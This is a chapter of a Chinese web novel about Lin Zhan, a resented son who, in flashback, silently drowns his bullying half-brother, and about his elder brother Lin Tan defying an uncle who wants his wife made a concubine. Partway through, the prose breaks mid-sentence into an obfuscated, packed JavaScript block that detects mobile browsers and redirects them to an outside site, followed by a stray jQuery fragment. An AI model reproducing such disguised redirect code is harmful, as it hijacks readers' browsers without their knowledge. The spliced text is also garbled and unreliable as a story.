杏花的香气飘进屋中,蔺瞻沿着湖畔,慢慢走回偏僻的小院,这里没什么人,从小到大,照顾他的也只有一个上了年纪,有些耳背的老嬷嬷。
风吹得窗户吱吱响个不停,蔺瞻走近屋中,想将窗户关上,手扶上窗棂时却又停下。
被孙家送回来时,也是这样一个杏花微雨的日子。
他由一个孙家的老仆领着,站在蔺府的朱漆大门前,老仆将他往前一推,对着蔺府的门房含糊地说了句“这是你们蔺家的种”,便像是甩脱了什么包袱一样匆匆走了。
蔺瞻被门房领了进去,庭院深深,回廊曲折,下人们看他的眼神,不像在看一个归家的少爷,好奇,嫌恶,不怀好意的打量压在他头顶。
正厅里面坐满了人,都是陌生的的面孔,主位上坐着蔺三爷,一旁,三婶袁琦的脸上带着礼节性的笑容。
他听到周围有细碎压抑的议论声。
“看那眉眼,确实像极了蔺家人,与二郎小时候长得很像……”
“孙家真是……人刚死,就把这么个麻烦送回来了……听说生下来连哭声都没有,稳婆怎么打都没有用,到现在也不会开口说话,好像四岁的时候才学会走路。”
“小声点,难道是什么光彩的事吗?”
蔺瞻手指紧紧地抠着衣角,他不会哭,也不会笑,像一截没有感知的木头,母亲在世时就不喜欢他,她总是躺在床上,脸色苍白地看着窗外,嘴里喃喃地念着“阿檀……我的阿檀……”
蔺瞻伸手去拉她,也被她推开,他的存在俨然就是母亲的耻辱,她所有婚姻的不幸,全都发泄在蔺瞻身上,蔺瞻一直学不会开口说话,外头的人都笑她生了个傻子,孙家也嫌弃这个孩子,偏偏她身子受损,无法再孕。
母亲就拿针扎他,要他哭,蔺瞻不会哭,生下来就是个怪胎,即便被扎得满手是血,也只会呆呆地看着母亲。
这下哭的成了她。
她很少看他,偶尔目光扫过他,也像是看到了什么令人厌弃的东西,迅速移开,都是儿子,但她总是念着长子。
母亲前脚刚咽气,后脚孙家就商量着要将他送回去。
嘈杂的议论声此起彼伏,一个少年从屏风后走了出来,穿着翠绿竹枝纹圆领袍,身姿挺拔,眉眼清朗。
蔺檀第一次见到旁人口中的,与他截然不同的亲生兄长。
厅堂里的气氛似乎都因为他的出现而缓和了些许,蔺檀走到他面前,目光温和地看着他。
“你就是阿瞻?”
少年笑问,声音清润温和,“我是你兄长,我叫蔺檀。”
蔺瞻没有反应,只是用一双黑沉沉的眼睛木然地看着他,像看厅里其他任何一件华丽的摆设一样,这份过于完美的兄长风范,在他看来,只有虚假和刺眼。
蔺三爷皱着眉,语气不耐,“这孩子怎么不会说话,是个哑巴吗?”
蔺家孩子多,亲生父亲也早就有了一个出色的长子,所以对于这个意外出现的儿子,他并不在意,更何况,他的续弦也早就为他诞下了聪慧灵敏,备受宠爱的幼子。
蔺瞻还记得那个孩子,父亲老来得子,为他取名为宝珍。
宝珍比他小一岁,被乳母牵着,穿着锦袍,脖子上挂着八宝璎珞,像个粉雕玉琢的福娃娃,他对于这个突然回府的,性格阴郁的七哥哥充满了天然的敌意和排斥。
小孩子的欺负直白又残忍,一开始宝珍会故意在蔺瞻经过时伸出脚绊他,会抢走蔺瞻为数不多的笔墨纸砚,胡乱涂抹后丢进水塘。
当他揣摩出大人对蔺瞻的不喜时,欺负的方式也越来越变本加厉。譬如带着其他的孩子朝蔺瞻扔小石子,骂他哑巴、煞星、没人要的野种,会嚷嚷着要骑马,偏心的生父会让蔺瞻趴下来给弟弟当马骑。
此时,蔺檀已经十几岁,在外求学,几个月才有空回家一次,对于家中的事情并不知情,等他再次回家时,则是下人们告诉他,父亲死了。
蔺瞻的报复是冰冷且安静的,像潜伏在暗处的毒蛇。他知道宝珍仗着受宠,无法无天,尤其喜欢在水塘边玩耍,吓唬水里的锦鲤,身边下人也不敢真拦他。
一个午后,宝珍又在水塘边的假山上嬉闹,蔺瞻手里拿着一只用草编得极其精巧的蚱蜢坐在岸边玩。
年幼的宝珍立刻被吸引,吵着要那只草蚱蜢,只要是蔺瞻的东西,他惯常撒泼,伸手去抢。
蔺瞻松开手,草蚂蚱飘到水中,宝珍想也不想就去够,蔺瞻顺势将他推下水。
结局毫无悬念。
蔺瞻冷漠地看着弟弟在水中扑腾,他是“哑巴”啊,当然不会说话,也不会帮忙呼救。
迟来的下人们乱作一团,找来竹竿施救,续弦夫人闻讯赶来,哭得撕心裂肺。
宝珍淹死了,一直纵容他欺负蔺瞻的续弦夫人经受不住丧子之痛,没多久便郁郁而终。
接连打击之下,蔺瞻的生父也一病不起,很快撒手人寰,一下子,大房的主君与夫人小少爷全都死了。
蔺檀被唤回家时满脸茫然,只是在外读了几个月的书,回来接连要参加三场丧事。
大房只剩他们兄弟两个,蔺檀苍白着一张脸,操办完丧事,看向坐在角落,一言不发的亲弟弟。
“阿瞻。”
蔺瞻第一次学会开口,沙哑着声音,“兄长。”
蔺檀张了张嘴,好像有什么话想要说,但最终因为这声“兄长”没有开口。
父亲出殡那日,街上乱哄哄的,一个不知道哪里来的赤脚道人指着蔺瞻说:“天煞孤星,刑克父母。”
蔺瞻又被像踢皮球一样,丢到了寺庙里。
只有兄长来看过他,给他带书,试图和他说话,但蔺瞻只觉得他虚伪。
这些所谓的兄友弟恭,在他眼里,只是蔺檀维持自己那皎皎君子风度的手段而已,他明明也知道外面的人是怎么说的吧,说他那个半路回家的弟弟是个煞星,克死了所有人。
寒风吹过,拂面而来。
蔺瞻回过神。
一张女人的面容在脑海里浮现。
他的确不喜欢苏玉融,心里的抵触做不了假。
和蔺檀一样虚伪,普通得有些可怜,她那副老实木讷的样子,定然是装出来的,不过是另一种讨好上位者的,更高级的手段而已,她看上的,只是丈夫的身份所带来的富贵和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332831|183319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荣耀,哪有什么真心。
以为千辛万苦嫁到蔺家,就能跻身其中了吗?
蔺瞻冷眼旁观,等着她露出马脚,等着看兄长那轮明月,被这团卑劣的乌云玷污,等着真相败露的时候,她贪婪的本性再也遮不住,伪装出来的真情里,其实全是利用。
他冷着脸,“嘭”地一声将窗户合上。
*
蔺檀回府时,已是傍晚。
他先去向叔父回了话,禀明公务已了,又听了些关于朝局动向的训导。
“你今日怎回来得那么晚,不是同你说了,今日府上有宴会,来了许多宾客。”蔺三爷看着他说道,语气严肃。
借着赏杏花的由头,请了不少夫人小姐,也有择婚的意思。
蔺檀轻声应道:“三婶掌管中馈,操持内务,这么多年来一直井井有条,不过是个普通的春宴,想来对三婶而言早已熟稔,侄儿愚钝,又有公务在身,就算在也帮不上什么忙,何必打扰诸位宾客的兴致。”
“你明知道我是什么意思。”蔺三爷神色阴沉,话语也严厉,“今日宴上,我已为你留意了几位家世、品貌都堪为良配的贵女,正室之位当择贤而聘。我知你重情,并非要你立刻休了苏氏,她那般出身,能入蔺府已是天大的造化,这样,你娶你的正妻,让她做个妾,她依旧可在府中衣食无忧,你也算全了情义。”
蔺三爷已经退让一步,允许蔺檀将苏玉融留在身边,但不能做正妻。
世家大族间,联姻,本身也是一种维系家族荣耀的方式,自古以来,儿女婚事,父母之命媒妁之言,哪有自己做得了主的。
蔺檀面色不变,“不可能。”
“蔺熙晏!”
男人动了怒,重重拍响桌案,从太师椅上站起。
“你非要在这件事情上忤逆长辈吗?”
蔺檀沉声说:“是。”
蔺三爷气得拿起手边的茶盏向他砸去,灼烫的茶水浸透衣衫,蔺檀一动不动,任由茶盏落在脚边,四分五裂,他的衣襟也湿透了。
“滚出去!”
蔺三爷在气头上,以为发火,这个听话的侄子会像从前一样恭敬地认错,但蔺檀竟然一言未发,端端正正行了个礼,告退离开了。
他的衣衫湿透大半,淅淅沥沥地滴着水。
蔺三爷一口气差点没上来。
袁琦扶着暴怒的丈夫,“好了好了,你现在急什么。”
男人胸口起伏,“我非要逼着他休了苏氏。”
“苏氏嫁进来才多久,眼下就让二郎休妻,外面的人该怎么看待蔺家?”袁琦温声劝说:“到时候就算有理都会变成没理了,旁人会笑话蔺家,嫌贫爱富,磋磨这女子,娶了她,又将人赶走!”
“那依夫人之见,该怎么办?”
袁琦想了想,说:“且让她在家中待着吧,这些时日我会好好教她规矩,定不让她在外头丢人,等过个一年半载,再寻个由头叫二郎休了她,说不定都不待我们提醒,他自个儿先没了兴趣呢?”
蔺三爷被她说动,渐渐冷静下来。
“也罢,且先让她留在府中,若敢兴风作浪,我定饶不了她!”